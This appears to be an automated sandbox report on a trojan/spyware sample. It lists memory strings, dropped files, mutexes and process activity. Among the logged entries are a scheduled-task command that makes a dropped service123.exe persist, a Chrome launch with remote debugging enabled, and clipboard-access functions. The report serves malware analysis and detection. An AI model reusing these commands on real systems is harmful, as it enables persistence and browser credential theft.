Source: chrome.exe, 00000004.00000002.2081238475.00000CE003038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081271945.00000CE003044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081141814.00000CE00300C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000004.00000002.2081238475.00000CE003038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081302094.00000CE003050000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2057685089.00000CE0028E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081271945.00000CE003044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081141814.00000CE00300C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000004.00000002.2081238475.00000CE003038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081141814.00000CE00300C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000004.00000002.2070146237.00000CE0024C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081238475.00000CE003038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2057685089.00000CE0028E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081271945.00000CE003044000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000004.00000002.2070146237.00000CE0024C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081238475.00000CE003038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081271945.00000CE003044000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000004.00000002.2081238475.00000CE003038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2057685089.00000CE0028E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081271945.00000CE003044000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000004.00000002.2081238475.00000CE003038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081302094.00000CE003050000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2057685089.00000CE0028E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081271945.00000CE003044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081141814.00000CE00300C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000004.00000002.2081238475.00000CE003038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2057685089.00000CE0028E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081271945.00000CE003044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081141814.00000CE00300C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000004.00000002.2070962686.00000CE0026B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000004.00000002.2078621437.00000CE002B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2070827566.00000CE002698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2078658928.00000CE002BC3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2078658928.00000CE002BAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://photos.google.com/settings?referrer=CHROME_NTP
Source: chrome.exe, 00000004.00000002.2078621437.00000CE002B94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2070827566.00000CE002698000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2078658928.00000CE002BC3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2078658928.00000CE002BAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://policies.google.com/
Source: chrome.exe, 00000004.00000002.2068973531.00000CE0022A0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000004.00000002.2069074325.00000CE0022B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000004.00000002.2069713006.00000CE0023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://securitydomain-pa.googleapis.com/v1/
Source: chrome.exe, 00000004.00000002.2080196368.00000CE002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2077817511.00000CE00299C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2070962686.00000CE0026B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2077870479.00000CE0029B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000004.00000002.2080196368.00000CE002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2077817511.00000CE00299C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2070962686.00000CE0026B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2077870479.00000CE0029B8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000004.00000002.2078897077.00000CE002C34000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: chrome.exe, 00000004.00000002.2069713006.00000CE0023C4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://tasks.googleapis.com/
Source: chrome.exe, 00000004.00000002.2079871113.00000CE002DB8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000004.00000002.2075318838.00000CE002890000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000004.00000002.2080003698.00000CE002E28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2058449154.00000CE002E28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000004.00000002.2080003698.00000CE002E28000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2058449154.00000CE002E28000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000004.00000002.2070560497.00000CE0025A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2079217944.00000CE002CBC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000004.00000003.2045520762.00000CE002694000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2072309428.00000CE0027BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2078658928.00000CE002BAC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000004.00000002.2077919109.00000CE0029D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2079871113.00000CE002DB8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/Char
Source: chrome.exe, 00000004.00000002.2080196368.00000CE002E84000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2072949140.00000CE00280C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/async/ddljson?async=ntp:2
Source: chrome.exe, 00000004.00000002.2078169930.00000CE002A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2069713006.00000CE0023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081819552.00000CE00312C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2078553747.00000CE002B68000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/
Source: chrome.exe, 00000004.00000002.2078169930.00000CE002A70000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2069713006.00000CE0023C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2081819552.00000CE00312C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2078553747.00000CE002B68000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/chrome/tips/gs
Source: chrome.exe, 00000004.00000002.2078440403.00000CE002B0C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=
Source: chrome.exe, 00000004.00000002.2071283495.00000CE0026F4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2077438065.00000CE00293C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2079871113.00000CE002DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2072309428.00000CE0027BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000004.00000002.2079871113.00000CE002DB8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoing
Source: chrome.exe, 00000004.00000002.2079871113.00000CE002DB8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.icoionNames)
Source: chrome.exe, 00000004.00000002.2070962686.00000CE0026B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/tools/feedback/chrome/__submit
Source: chrome.exe, 00000004.00000002.2079080457.00000CE002C78000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.google.com/undo
Source: chrome.exe, 00000004.00000002.2068800244.00000CE002248000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/
Source: chrome.exe, 00000004.00000002.2069833789.00000CE00240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v1/userinfo
Source: chrome.exe, 00000004.00000002.2069833789.00000CE00240C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v2/tokeninfo
Source: chrome.exe, 00000004.00000002.2069833789.00000CE00240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2072309428.00000CE0027BC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/oauth2/v4/token
Source: chrome.exe, 00000004.00000002.2069833789.00000CE00240C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2080075069.00000CE002E50000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.googleapis.com/reauth/v1beta/users/
Source: chrome.exe, 00000004.00000002.2070962686.00000CE0026B4000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.gstatic.com/chrome/intelligence/assist/ranker/models/translate/2017/03/translate_ranker_
Source: chrome.exe, 00000004.00000002.2073149643.00000CE002841000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000004.00000002.2073149643.00000CE002841000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000004.00000002.2073149643.00000CE002841000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000004.00000002.2070146237.00000CE0024C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000002.2073149643.00000CE002841000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html
Source: unknown Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49745
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E9C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 8_2_6C0E9C22
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E9C22 Sleep,GetClipboardSequenceNumber,OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 8_2_6C0E9C22
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E9D11 OpenClipboard,GlobalAlloc,GlobalLock,strcpy,GlobalUnlock,EmptyClipboard,SetClipboardData,CloseClipboard, 8_2_6C0E9D11
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E9E27 GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard, 8_2_6C0E9E27

System Summary

barindex
Source: C:\Users\user\Desktop\file.exe File dump: service123.exe.0.dr 314617856 Jump to dropped file
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: C:\Users\user\Desktop\file.exe Process Stats: CPU usage > 49%
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00B151B0 8_2_00B151B0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00B13E20 8_2_00B13E20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C112CCE 8_2_6C112CCE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0DCD00 8_2_6C0DCD00
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0DEE50 8_2_6C0DEE50
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E0FC0 8_2_6C0E0FC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C120AC0 8_2_6C120AC0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E44F0 8_2_6C0E44F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1146E0 8_2_6C1146E0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1107D0 8_2_6C1107D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1087C0 8_2_6C1087C0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C120060 8_2_6C120060
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C112090 8_2_6C112090
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C102360 8_2_6C102360
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C12DC70 8_2_6C12DC70
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E5880 8_2_6C0E5880
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1098F0 8_2_6C1098F0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C117A20 8_2_6C117A20
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11DBEE 8_2_6C11DBEE
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11140E 8_2_6C11140E
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C121510 8_2_6C121510
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C11F610 8_2_6C11F610
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0FF760 8_2_6C0FF760
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0D3000 8_2_6C0D3000
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C1950D0 8_2_6C1950D0
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C0E70C0 8_2_6C0E70C0
Source: Joe Sandbox View Dropped File: C:\Users\user\AppData\Local\Temp\service123.exe 05466AC3A1F09726E552D0CBF3BAC625A7EB7944CEDF812F60B066DCBD74AFB1
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A3B20 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A36E0 appears 45 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C19ADB0 appears 49 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A3820 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A5A70 appears 77 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A5980 appears 83 times
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: String function: 6C1A3560 appears 43 times
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6904 -s 1284
Source: file.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED
Source: file.exe Static PE information: Section: xcimtcgo ZLIB complexity 0.9945105145839093
Source: classification engine Classification label: mal100.troj.spyw.evad.winEXE@18/5@10/4
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\DGdQGkLyQR Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Mutant created: \Sessions\1\BaseNamedObjects\JStVXPURjEhqLJtWBhCN
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6904
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7612:120:WilError_03
Source: C:\Users\user\Desktop\file.exe File created: C:\Users\user\AppData\Local\Temp\service123.exe Jump to behavior
Source: C:\Users\user\Desktop\file.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Users\user\Desktop\file.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: chrome.exe, 00000004.00000002.2077224971.00000CE002900000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: CREATE TABLE psl_extensions (domain VARCHAR NOT NULL, UNIQUE (domain));
Source: unknown Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2344,i,554225903763573679,10568711165825227446,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe Process created: C:\Users\user\AppData\Local\Temp\service123.exe "C:\Users\user\AppData\Local\Temp\service123.exe"
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "ServiceData4" /tr "C:\Users\user\AppData\Local\Temp\/service123.exe" /st 00:01 /du 9800:59 /sc once /ri 1 /f
Source: C:\Windows\SysWOW64\schtasks.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6904 -s 1284
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\service123.exe C:\Users\user\AppData\Local\Temp\/service123.exe
Source: C:\Users\user\Desktop\file.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default" Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2496 --field-trial-handle=2344,i,554225903763573679,10568711165825227446,262144 /prefetch:8 Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: rstrtmgr.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Users\user\Desktop\file.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Section loaded: unmycipohmxnjqoesrey.dll Jump to behavior
Source: file.exe Static file information: File size 4453376 > 1048576
Source: file.exe Static PE information: Raw size of is bigger than: 0x100000 < 0x277800
Source: file.exe Static PE information: Raw size of xcimtcgo is bigger than: 0x100000 < 0x1c4200
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00B18230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 8_2_00B18230
Source: initial sample Static PE information: section where entry point is pointing to: .taggant
Source: file.exe Static PE information: real checksum: 0x44bef0 should be: 0x449b37
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: .rsrc
Source: file.exe Static PE information: section name: .idata
Source: file.exe Static PE information: section name:
Source: file.exe Static PE information: section name: xcimtcgo
Source: file.exe Static PE information: section name: aoxpdltz
Source: file.exe Static PE information: section name: .taggant
Source: service123.exe.0.dr Static PE information: section name: .eh_fram
Source: unmYCIPOHmXNjqOesrEy.dll.0.dr Static PE information: section name: .eh_fram
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_00B1A521 push es; iretd 8_2_00B1A694
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C180C30 push eax; mov dword ptr [esp], edi 8_2_6C180DAA
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C14ED10 push eax; mov dword ptr [esp], ebx 8_2_6C14EE33
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C124E31 push eax; mov dword ptr [esp], ebx 8_2_6C124E45
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 8_2_6C118E7A push edx; mov dword ptr [esp], ebx 8_2_6C118E8E
